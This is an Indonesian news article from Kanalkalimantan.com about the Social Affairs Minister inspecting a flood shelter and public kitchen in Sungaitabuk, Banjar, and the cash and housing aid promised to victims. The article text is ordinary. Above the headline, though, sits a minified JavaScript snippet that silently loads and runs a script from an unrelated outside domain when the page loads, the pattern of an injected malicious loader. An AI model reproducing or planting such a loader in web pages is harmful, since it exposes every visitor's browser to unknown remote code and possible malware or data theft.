(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Mensos RI Tinjau Posko Pengungsian Banjir di Sungaitabuk


KANALKALIMANTAN.COM, MARTAPURA – Menteri Sosial (Mensos) Republik Indonesia (RI), Saifullah Yusuf meninjau Posko pengungsian dan dapur umum banjir di Desa Sungaitabuk Keramat, Kecamatan Sungaitabuk, Kabupaten Banjar, Minggu (4/1/2026) pagi.

Mensos Gus Ipul -sapaan akrabnya- menyebut, setiap bencana pihak Kementerian Sosial RI selalu menyediakan bantuan logistik, baik itu makanan siap saji, pakaian, tenda, kasur, dan kebutuhan lain untuk para pengungsi.

“Ini dimaksudkan supaya kebutuhan-kebutuhan dasar pengungsi bisa dipenuhi sampai masa rekonstruksi dan rehabilitasi,” kata Mensos Gus Ipul.

Baca juga: Terdampak Banjir, Pembelajaran 210 Sekolah di Kabupaten Banjar Dialihkan ke PJJ

Semua akan dikoordinasikan oleh tim pemerintah yang dikomandoi Badan Nasional Penanggulangan Bencana (BNPB) berdasarkan mekanisme mulai dari tahap evakuasi, pengungsian, sampai rekontruksi dan rehabilitasi.

Sesuai arahan Presiden Republik Indonesia, Kementerian Sosial RI memberikan bantuan kepada korban bencana dalam bentuk santunan atau tali asih dengan rincian Rp15 juta untuk korban meninggal dunia yang diterima ahli waris dan Rp5 juta untuk korban luka-luka berat.

Gus Ipul menambahkan, pada tahap rekontruksi yakni setelah masa darurat selesai, semua rumah yang memiliki tingkat kerusakan baik ringan, sedang, dan berat akan diberikan bantuan sesuai hasil asesmen.

Baca juga: Puncak Banjir Rob di Banjarmasin Diprediksi Malam Ini

Kemensos Siap Berikan Huntara, Isian Rumah, Jaminan Hidup, dan Pemulihan Ekonomi

Jika diperlukan, Hunian Sementara (Huntara) akan dibangun untuk warga terdampak banjir di Kabupaten Banjar selagi menunggu pembangunan ulang rumah yang rusak berat.

Dalam Huntara tersebut, Kemensos RI akan memberikan bantuan isian rumah dalam bentuk perabotan rumah tangga sebesar Rp3 juta per keluarga.

Baca juga: Pemprov Kalsel Salurkan Bantuan ke Desa Pemakuan

Selain itu, bantuan kebutuhan atau jaminan hidup dalam membeli lauk pauk juga akan diberikan sebesar Rp450 ribu per orang selama 3 bulan.

“Ini untuk mendukung keluarga-keluarga terdampak bisa secara bertahap pulih, jadi ini setiap bulan per orang Rp450 ribu, kalau misalnya anggota keluarganya 4 tinggal kalikan 4,” ungkapnya.

Kemensos akan memberikan asesmen untuk memberikan dukungan pemberdayaan dalam rangka pemulihan ekonomi sebesar Rp5 juta per keluarga.

“Jadi Rp3 juta dan Rp5 juta itu sekali diberikan, sementara jaminan hidup Rp450 ribu diberikan selama 3 bulan,” pungkasnya. (Kanalkalimantan.com/fahmi)

Reporter: fahmi
Editor: bie


Muhammad Andi

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

6 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

7 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

8 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

8 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

9 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

14 jam ago

This website uses cookies.